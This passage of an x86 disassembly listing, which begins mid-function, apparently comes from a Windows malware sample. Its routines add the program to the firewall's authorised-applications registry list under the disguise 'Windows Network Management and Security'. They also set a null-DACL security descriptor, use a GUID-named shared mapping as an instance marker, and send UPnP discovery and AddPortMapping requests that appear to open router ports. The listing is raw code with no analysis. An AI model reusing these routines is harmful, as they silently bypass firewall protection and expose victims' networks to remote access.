		jnz	short loc_4435B1
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_4435B1:				; CODE XREF: sub_443571+38j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_4435D4
; ---------------------------------------------------------------------------


loc_4435B9:				; CODE XREF: sub_443571+30j
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4435D4
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_4435D4:				; CODE XREF: sub_443571+46j
					; sub_443571+5Aj
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_4424E1
		pop	ecx
		xor	eax, eax
		inc	eax


loc_4435E5:				; CODE XREF: sub_443571+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_443571	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	si, [ebp+10h]
		xor	edi, edi
		jmp	short loc_4435FD
; ---------------------------------------------------------------------------


loc_4435FA:				; CODE XREF: DMN1:0044360Fj
		xor	edi, edi
		inc	edi


loc_4435FD:				; CODE XREF: DMN1:004435F8j
		movzx	eax, si
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_4434EE
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4435FA
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	esi, [ebp+10h]
		xor	edi, edi
		jmp	short loc_44362B
; ---------------------------------------------------------------------------


loc_443628:				; CODE XREF: DMN1:0044363Aj
		xor	edi, edi
		inc	edi


loc_44362B:				; CODE XREF: DMN1:00443626j
		push	esi
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_443571
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_443628
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	ebx
		call	sub_443406
		pop	ecx
		mov	eax, [esp+10h]
		mov	esi, [eax+4]
		jmp	short loc_44366C
; ---------------------------------------------------------------------------


loc_443659:				; CODE XREF: DMN1:0044366Ej
		movzx	eax, word ptr [esi]
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		call	sub_4434B4
		add	esp, 0Ch
		mov	esi, [esi+8]


loc_44366C:				; CODE XREF: DMN1:00443657j
		test	esi, esi
		jnz	short loc_443659
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443673	proc near		; CODE XREF: sub_443701+98p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E28	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_4436C5
		push	[ebp+arg_C]
		call	sub_448E4B
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E2C	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E30	; RegCloseKey


loc_4436C5:				; CODE XREF: sub_443673+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_443673	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4436C9	proc near		; CODE XREF: DMN1:004437E8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E34	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4436FD
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E38	; RegDeleteKeyA
		push	[ebp+var_4]
		call	dword_411E30	; RegCloseKey


loc_4436FD:				; CODE XREF: sub_4436C9+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_4436C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443701	proc near		; CODE XREF: sub_447EEC:loc_44811Dp

var_20A		= byte ptr -20Ah
var_105		= byte ptr -105h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	104h
		lea	eax, [ebp+var_105]
		push	eax
		push	0
		call	dword_411CE0	; GetModuleFileNameA
		mov	ebx, eax
		mov	[ebp+ebx+var_105], 0
		cmp	[ebp+var_105], 0
		jz	short loc_4437A1
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		call	sub_448E6B
		pop	ecx
		pop	ecx
		push	dword_4128A8
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_443673
		add	esp, 10h


loc_4437A1:				; CODE XREF: sub_443701+2Fj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443701	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	104h
		lea	eax, [ebp-105h]
		push	eax
		push	0
		call	dword_411CE0	; GetModuleFileNameA
		mov	ebx, eax
		mov	byte ptr [ebp+ebx-105h], 0
		cmp	byte ptr [ebp-105h], 0
		jz	short loc_4437F0
		lea	eax, [ebp-105h]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_4436C9
		add	esp, 0Ch


loc_4437F0:				; CODE XREF: DMN1:004437D5j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4437F5	proc near		; CODE XREF: sub_443847+2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		cmp	dword_411008, 0
		jnz	short loc_443842
		push	14h
		push	40h
		call	dword_411CE4	; LocalAlloc
		mov	ebx, eax
		push	1
		push	ebx
		call	dword_411E3C	; InitializeSecurityDescriptor
		push	0
		push	0
		push	1
		push	ebx
		call	dword_411E40	; SetSecurityDescriptorDacl
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], 1
		mov	dword_411008, 1


loc_443842:				; CODE XREF: sub_4437F5+Ej
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4437F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_443847	proc near		; CODE XREF: DMN1:00445129p
					; sub_447EEC+23Fp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		call	sub_4437F5
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	100h
		push	0
		push	4
		push	offset dword_41292C
		push	0FFFFFFFFh
		call	dword_411CE8	; CreateFileMappingA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4438B1
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jz	short loc_4438AF
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CF0	; MapViewOfFile
		mov	esi, eax
		test	esi, esi
		jz	short loc_4438AF
		mov	ax, [esp+8+arg_0]
		mov	[esi], ax
		mov	ax, [esp+8+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF4	; UnmapViewOfFile


loc_4438AF:				; CODE XREF: sub_443847+36j
					; sub_443847+4Ej
		mov	eax, ebx


loc_4438B1:				; CODE XREF: sub_443847+29j
		pop	esi
		pop	ebx
		retn
sub_443847	endp


; =============== S U B	R O U T	I N E =======================================



sub_4438B4	proc near		; CODE XREF: DMN1:00445145p

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF8	; OpenFileMappingA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44390D
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CF0	; MapViewOfFile
		mov	esi, eax
		test	esi, esi
		jz	short loc_443904
		mov	ax, [esp+0Ch+arg_0]
		mov	[esi], ax
		mov	ax, [esp+0Ch+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF4	; UnmapViewOfFile
		xor	edi, edi
		inc	edi


loc_443904:				; CODE XREF: sub_4438B4+33j
		push	ebx
		call	dword_411CFC	; CloseHandle
		mov	eax, edi


loc_44390D:				; CODE XREF: sub_4438B4+1Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4438B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_443911	proc near		; CODE XREF: DMN1:0044616Dp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	si, si
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF8	; OpenFileMappingA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_443936
		mov	eax, 0FFFFh
		jmp	short loc_443978
; ---------------------------------------------------------------------------


loc_443936:				; CODE XREF: sub_443911+1Cj
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CF0	; MapViewOfFile
		mov	edi, eax
		test	edi, edi
		jz	short loc_44396E
		mov	si, [edi]
		test	si, si
		jz	short loc_443963
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, [edi+2]
		mov	[edx], ax
		jmp	short loc_443967
; ---------------------------------------------------------------------------


loc_443963:				; CODE XREF: sub_443911+43j
		mov	si, 0FFFFh


loc_443967:				; CODE XREF: sub_443911+50j
		push	edi
		call	dword_411CF4	; UnmapViewOfFile


loc_44396E:				; CODE XREF: sub_443911+3Bj
		push	ebx
		call	dword_411CFC	; CloseHandle
		movzx	eax, si


loc_443978:				; CODE XREF: sub_443911+23j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_443911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44397C	proc near		; CODE XREF: sub_443A14+2Dp
					; sub_443F6D+23Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_448E4B
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_448E4B
		pop	ecx
		mov	ebx, eax
		jmp	short loc_4439C0
; ---------------------------------------------------------------------------


loc_4439A2:				; CODE XREF: sub_44397C+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411D00	; CompareStringA
		cmp	eax, 2
		jnz	short loc_4439BE
		mov	eax, esi
		jmp	short loc_4439C6
; ---------------------------------------------------------------------------


loc_4439BE:				; CODE XREF: sub_44397C+3Cj
		inc	esi
		dec	edi


loc_4439C0:				; CODE XREF: sub_44397C+24j
		cmp	edi, ebx
		jge	short loc_4439A2
		xor	eax, eax


loc_4439C6:				; CODE XREF: sub_44397C+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44397C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4439CD	proc near		; CODE XREF: sub_443A14+1C4p
					; sub_443D01+12Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		call	dword_411CC8	; GetTickCount
		lea	esi, [eax+7D0h]


loc_4439DF:				; CODE XREF: sub_4439CD+40j
		push	ebx
		call	sub_4429AD
		pop	ecx
		test	eax, eax
		jle	short loc_4439EF
		xor	eax, eax
		inc	eax
		jmp	short loc_443A11
; ---------------------------------------------------------------------------


loc_4439EF:				; CODE XREF: sub_4439CD+1Bj
		push	offset a_	; "."
		call	sub_448A5B
		pop	ecx
		push	12Ch
		call	dword_411D04	; Sleep
		call	dword_411CC8	; GetTickCount
		cmp	eax, esi
		jb	short loc_4439DF
		xor	eax, eax


loc_443A11:				; CODE XREF: sub_4439CD+20j
		pop	esi
		pop	ebx
		retn
sub_4439CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443A14	proc near		; CODE XREF: sub_443F6D+337p

var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 468h
		push	ebx
		push	esi
		push	edi
		push	10h
		push	0
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_5C], 2
		xor	di, di
		push	offset aHttp	; "http://"
		push	[ebp+arg_0]
		call	sub_44397C
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_443A56
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443A55:				; CODE XREF: sub_443A14+4Aj
		inc	ebx


loc_443A56:				; CODE XREF: sub_443A14+38j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443A60
		cmp	al, 2Fh
		jnz	short loc_443A55


loc_443A60:				; CODE XREF: sub_443A14+46j
		jmp	short loc_443A63
; ---------------------------------------------------------------------------


loc_443A62:				; CODE XREF: sub_443A14+57j
		inc	ebx


loc_443A63:				; CODE XREF: sub_443A14:loc_443A60j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443A6D
		cmp	al, 2Fh
		jz	short loc_443A62


loc_443A6D:				; CODE XREF: sub_443A14+53j
		xor	esi, esi
		jmp	short loc_443A85
; ---------------------------------------------------------------------------


loc_443A71:				; CODE XREF: sub_443A14+7Dj
		cmp	esi, 3Fh
		jb	short loc_443A7D
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443A7D:				; CODE XREF: sub_443A14+60j
		mov	al, [ebx]
		mov	[ebp+esi+var_40], al
		inc	esi
		inc	ebx


loc_443A85:				; CODE XREF: sub_443A14+5Bj
		mov	al, [ebx]
		test	al, al
		jz	short loc_443A93
		cmp	al, 3Ah
		jz	short loc_443A93
		cmp	al, 2Fh
		jnz	short loc_443A71


loc_443A93:				; CODE XREF: sub_443A14+75j
					; sub_443A14+79j
		mov	[ebp+esi+var_40], 0
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_443AA4
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443AA4:				; CODE XREF: sub_443A14+87j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_443ACB
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443AB1:				; CODE XREF: sub_443A14+C3j
		movzx	eax, di
		lea	eax, [eax+eax*4]
		add	eax, eax
		mov	di, ax
		movzx	eax, di
		movsx	edx, byte ptr [ebx]
		sub	edx, 30h
		add	eax, edx
		mov	di, ax
		inc	ebx


loc_443ACB:				; CODE XREF: sub_443A14+94j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443AD9
		cmp	al, 30h
		jl	short loc_443AD9
		cmp	al, 39h
		jle	short loc_443AB1


loc_443AD9:				; CODE XREF: sub_443A14+BBj
					; sub_443A14+BFj
		cmp	di, 1
		jnb	short loc_443AE7
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443AE6:				; CODE XREF: sub_443A14+DBj
		inc	ebx


loc_443AE7:				; CODE XREF: sub_443A14+C9j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443AF1
		cmp	al, 2Fh
		jnz	short loc_443AE6


loc_443AF1:				; CODE XREF: sub_443A14+D7j
		cmp	byte ptr [ebx],	0
		jnz	short loc_443AFD
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443AFD:				; CODE XREF: sub_443A14+E0j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_448503	; inet_addr
		mov	[ebp+var_58], eax
		movzx	eax, di
		push	eax
		call	sub_4484D3	; htons
		mov	[ebp+var_5A], ax
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
		call	sub_448A5B
		add	esp, 0Ch
		push	6
		push	1
		push	2
		call	sub_4484B5	; socket
		mov	[ebp+var_44], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_443B44
		and	[ebp+var_44], 0


loc_443B44:				; CODE XREF: sub_443A14+12Aj
		cmp	[ebp+var_44], 0
		jnz	short loc_443B51
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443B51:				; CODE XREF: sub_443A14+134j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_448503	; inet_addr
		movzx	edx, di
		push	edx
		push	eax
		push	[ebp+var_44]
		call	sub_4429D2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_443B7E
		push	[ebp+var_44]
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443B7E:				; CODE XREF: sub_443A14+158j
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ebx
		push	offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_448ABB
		add	esp, 14h
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_448E4B
		pop	ecx
		mov	[ebp+var_48], eax
		push	[ebp+var_48]
		lea	eax, [ebp+var_45C]
		push	eax
		push	[ebp+var_44]
		call	sub_442BF2
		add	esp, 0Ch
		cmp	eax, [ebp+var_48]
		jz	short loc_443BD5
		push	[ebp+var_44]
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443BD5:				; CODE XREF: sub_443A14+1AFj
		push	[ebp+var_44]
		call	sub_4439CD
		pop	ecx
		push	10000h
		call	sub_4424B3
		pop	ecx
		mov	[ebp+var_4C], eax
		push	0FFFFh
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_442B7E
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	short loc_443C3D
		push	[ebp+var_44]
		call	sub_4429AD
		pop	ecx
		mov	[ebp+var_468], eax
		cmp	eax, 0FFFFh
		jle	short loc_443C26
		mov	[ebp+var_468], 0FFFFh


loc_443C26:				; CODE XREF: sub_443A14+206j
		push	[ebp+var_468]
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_442B47
		add	esp, 0Ch
		mov	[ebp+var_48], eax


loc_443C3D:				; CODE XREF: sub_443A14+1F0j
		push	[ebp+var_48]
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
		call	sub_448A5B
		add	esp, 10h
		cmp	[ebp+var_48], 1
		jge	short loc_443C74
		push	[ebp+var_4C]
		call	sub_4424E1
		pop	ecx
		push	[ebp+var_44]
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	loc_443CFA
; ---------------------------------------------------------------------------


loc_443C74:				; CODE XREF: sub_443A14+245j
		push	offset asc_40F5EE ; "\n"
		push	[ebp+var_4C]
		call	sub_448EBB
		pop	ecx
		pop	ecx
		mov	[ebp+var_460], eax
		test	eax, eax
		jnz	short loc_443CA3
		push	[ebp+var_4C]
		call	sub_4424E1
		pop	ecx
		push	[ebp+var_44]
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	short loc_443CFA
; ---------------------------------------------------------------------------


loc_443CA3:				; CODE XREF: sub_443A14+277j
		push	offset a200	; "200"
		push	[ebp+var_4C]
		call	sub_448EBB
		pop	ecx
		pop	ecx
		mov	[ebp+var_464], eax
		test	eax, eax
		jz	short loc_443CC4
		cmp	eax, [ebp+var_460]
		jbe	short loc_443CDA


loc_443CC4:				; CODE XREF: sub_443A14+2A6j
		push	[ebp+var_4C]
		call	sub_4424E1
		pop	ecx
		push	[ebp+var_44]
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	short loc_443CFA
; ---------------------------------------------------------------------------


loc_443CDA:				; CODE XREF: sub_443A14+2AEj
		push	[ebp+var_44]
		call	sub_44292D
		pop	ecx
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_448E6B
		pop	ecx
		pop	ecx
		mov	edx, [ebp+arg_8]
		mov	[edx], di
		mov	eax, [ebp+var_4C]


loc_443CFA:				; CODE XREF: sub_443A14+3Cj
					; sub_443A14+64j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443D01	proc near		; CODE XREF: sub_443F6D+50Fp
					; sub_443F6D+53Dp

var_2014	= dword	ptr -2014h
var_2010	= dword	ptr -2010h
var_200C	= dword	ptr -200Ch
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h
arg_14		= word ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2014h
		call	sub_448F2B
		push	ebx
		push	esi
		push	edi
		movzx	eax, [ebp+arg_10]
		push	eax
		movzx	eax, [ebp+arg_14]
		push	eax
		push	offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_448ABB
		add	esp, 10h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_448E4B
		pop	ecx
		mov	[ebp+var_200C],	eax
		cmp	[ebp+arg_0], 0
		jz	short loc_443D6F
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_448ABB
		add	esp, 18h
		jmp	short loc_443D94
; ---------------------------------------------------------------------------


loc_443D6F:				; CODE XREF: sub_443D01+45j
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_448ABB
		add	esp, 18h


loc_443D94:				; CODE XREF: sub_443D01+6Cj
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
		call	sub_448A5B
		add	esp, 0Ch
		call	sub_4427C4
		mov	edi, eax
		test	eax, eax
		jz	loc_443F66
		push	[ebp+arg_4]
		call	sub_448503	; inet_addr
		movzx	edx, [ebp+arg_8]
		push	edx
		push	eax
		push	edi
		call	sub_4429D2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_443DF6
		push	edi
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	loc_443F66
; ---------------------------------------------------------------------------


loc_443DF6:				; CODE XREF: sub_443D01+E5j
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_448E4B
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_1008]
		push	eax
		push	edi
		call	sub_442BF2
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jz	short loc_443E2C
		push	edi
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	loc_443F66
; ---------------------------------------------------------------------------


loc_443E2C:				; CODE XREF: sub_443D01+11Bj
		push	edi
		call	sub_4439CD
		pop	ecx
		push	10000h
		call	sub_4424B3
		pop	ecx
		mov	[ebp+var_8], eax
		push	0FFFFh
		push	[ebp+var_8]
		push	edi
		call	sub_442B7E
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_443E8C
		push	edi
		call	sub_4429AD
		pop	ecx
		mov	[ebp+var_2014],	eax
		cmp	eax, 0FFFFh
		jle	short loc_443E77
		mov	[ebp+var_2014],	0FFFFh


loc_443E77:				; CODE XREF: sub_443D01+16Aj
		push	[ebp+var_2014]
		push	[ebp+var_8]
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_443E8C:				; CODE XREF: sub_443D01+156j
		push	[ebp+var_4]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
		call	sub_448A5B
		add	esp, 10h
		cmp	[ebp+var_4], 1
		jge	short loc_443EC1
		push	[ebp+var_8]
		call	sub_4424E1
		pop	ecx
		push	edi
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	loc_443F66
; ---------------------------------------------------------------------------


loc_443EC1:				; CODE XREF: sub_443D01+1A7j
		push	offset asc_40F5EE ; "\n"
		push	[ebp+var_8]
		call	sub_448EBB
		pop	ecx
		pop	ecx
		mov	[ebp+var_2010],	eax
		test	eax, eax
		jnz	short loc_443EEE
		push	[ebp+var_8]
		call	sub_4424E1
		pop	ecx
		push	edi
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	short loc_443F66
; ---------------------------------------------------------------------------


loc_443EEE:				; CODE XREF: sub_443D01+1D7j
		mov	ebx, [ebp+var_8]
		jmp	short loc_443EF4
; ---------------------------------------------------------------------------


loc_443EF3:				; CODE XREF: sub_443D01+1FBj
		inc	ebx


loc_443EF4:				; CODE XREF: sub_443D01+1F0j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443EFE
		cmp	al, 20h
		jnz	short loc_443EF3


loc_443EFE:				; CODE XREF: sub_443D01+1F7j
		jmp	short loc_443F01
; ---------------------------------------------------------------------------


loc_443F00:				; CODE XREF: sub_443D01+208j
		inc	ebx


loc_443F01:				; CODE XREF: sub_443D01:loc_443EFEj
		mov	al, [ebx]
		test	al, al
		jz	short loc_443F0B
		cmp	al, 20h
		jz	short loc_443F00


loc_443F0B:				; CODE XREF: sub_443D01+204j
		xor	esi, esi
		jmp	short loc_443F1F
; ---------------------------------------------------------------------------


loc_443F0F:				; CODE XREF: sub_443D01+22Aj
		lea	esi, [esi+esi*4]
		add	esi, esi
		movsx	eax, byte ptr [ebx]
		sub	eax, 30h
		add	esi, eax
		inc	ebx
		jmp	short loc_443F2D
; ---------------------------------------------------------------------------


loc_443F1F:				; CODE XREF: sub_443D01+20Cj
		mov	al, [ebx]
		test	al, al
		jz	short loc_443F2D
		cmp	al, 30h
		jl	short loc_443F2D
		cmp	al, 39h
		jle	short loc_443F0F


loc_443F2D:				; CODE XREF: sub_443D01+21Cj
					; sub_443D01+222j ...
		push	esi
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
		call	sub_448A5B
		add	esp, 10h
		cmp	esi, 2
		jz	short loc_443F5C
		push	[ebp+var_8]
		call	sub_4424E1
		pop	ecx
		push	edi
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		jmp	short loc_443F66
; ---------------------------------------------------------------------------


loc_443F5C:				; CODE XREF: sub_443D01+245j
		push	edi
		call	sub_44292D
		pop	ecx
		xor	eax, eax
		inc	eax


loc_443F66:				; CODE XREF: sub_443D01+C6j
					; sub_443D01+F0j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443D01	endp


